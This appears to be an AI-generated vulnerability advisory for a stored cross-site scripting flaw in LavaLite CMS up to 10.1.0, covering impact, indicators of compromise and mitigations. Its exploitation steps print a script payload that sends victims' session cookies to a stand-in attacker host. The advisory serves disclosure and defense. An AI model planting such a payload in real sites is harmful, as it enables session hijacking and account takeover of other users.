CVE-2025-71177
PHP vulnerability analysis and mitigation

Overview

CVE-2025-71177 is a stored cross-site scripting (XSS) vulnerability in LavaLite CMS affecting all versions up to and including 10.1.0. Authenticated users can inject crafted HTML or JavaScript into the package Name or Description fields during package creation; the malicious content is stored and later rendered without proper output encoding in package search results. The vulnerability was reported on January 27, 2025 (via GitHub issue) and publicly disclosed on January 23, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory, VulnCheck).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input in the package Name and Description fields is persisted to the database and subsequently rendered in search result pages without adequate HTML output encoding. An attacker with low-privilege authenticated access can craft a package containing a JavaScript payload (e.g., <script>alert("hello")</script>) in either field; when any other user performs a package search that returns the malicious entry, the browser executes the injected script in the context of that user's session. No special configuration or elevated privileges beyond a standard authenticated account are required to plant the payload (Github Issue, VulnCheck).

Impact

Successful exploitation allows the injected script to execute in the browsers of any user who views affected package search results, enabling session hijacking via cookie theft, credential harvesting through fake login overlays, and unauthorized actions performed on behalf of the victim user. Because the payload persists in the database and fires for every affected search result view, the impact can scale across multiple users without repeated attacker interaction. Availability is not directly impacted, but confidentiality and integrity of victim sessions and data are at risk (Github Advisory, VulnCheck).

Exploitability

No public proof-of-concept exploit code has been published beyond the GitHub issue demonstrating the basic payload. There is no evidence of active in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.017% (roughly the 3rd percentile), indicating a low near-term exploitation probability (Github Advisory, Github Issue).

Exploitation steps

  1. Authenticate: Log in to a LavaLite CMS instance (version ≤ 10.1.0) with any low-privilege account that has access to package creation functionality.
  2. Create a malicious package: Navigate to the package creation interface and enter a JavaScript payload in the Name or Description field, for example: <script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
  3. Save the package: Submit the form; the payload is stored in the database without sanitization.
  4. Wait for victim interaction: When any other authenticated user performs a package search that returns the malicious package in results, the injected script executes automatically in their browser.
  5. Harvest session data: The script exfiltrates the victim's session cookie or performs actions (e.g., account changes, data extraction) in the context of the victim's authenticated session (Github Issue, VulnCheck).

Indicators of compromise

  • Logs: Web server access logs showing requests to package search endpoints with results containing unexpected <script> tags or encoded JavaScript in response bodies; CMS application logs recording package creation by low-privilege accounts with unusually long or HTML-containing Name/Description fields.
  • Network: Outbound HTTP requests from victim browsers to external domains immediately following package search page loads, particularly to attacker-controlled endpoints carrying cookie or session data as query parameters.
  • File System / Database: Database records in the packages table where the name or description columns contain raw HTML tags (e.g., <script>, <img onerror=, javascript:) rather than plain text.

Mitigation and workarounds

As of the advisory publication date, no patched version of LavaLite CMS has been released (the GitHub Advisory lists "Patched versions: None"). Organizations should restrict package creation access to highly trusted users only, implement a Web Application Firewall (WAF) rule to block HTML/JavaScript in package name and description inputs, and apply strict output encoding in templates that render package search results. Disabling the package search functionality entirely is a viable temporary workaround until an official patch is available (Github Advisory, VulnCheck).

Community reactions

The vulnerability was reported by researcher abigowl via a GitHub issue in January 2025 and formally disclosed through VulnCheck in January 2026. Coverage has been limited to automated vulnerability aggregators and security databases (VulnDB, INCIBE, CIRCL, GitLab Advisories), with no notable vendor statement from LavaLite or significant community discussion beyond the original issue report (Github Issue, VulnCheck).

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-52777CRITICAL9.4
  • PHP logoPHP
  • yeswiki/yeswiki
NoYesSep 05, 2026
CVE-2026-52775HIGH8.8
  • PHP logoPHP
  • yeswiki/yeswiki
NoYesSep 05, 2026
CVE-2026-52774MEDIUM6.1
  • PHP logoPHP
  • yeswiki/yeswiki
NoYesSep 05, 2026
CVE-2026-52773MEDIUM6.1
  • PHP logoPHP
  • yeswiki/yeswiki
NoYesSep 05, 2026
CVE-2026-52772MEDIUM5.5
  • PHP logoPHP
  • yeswiki/yeswiki
NoYesSep 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management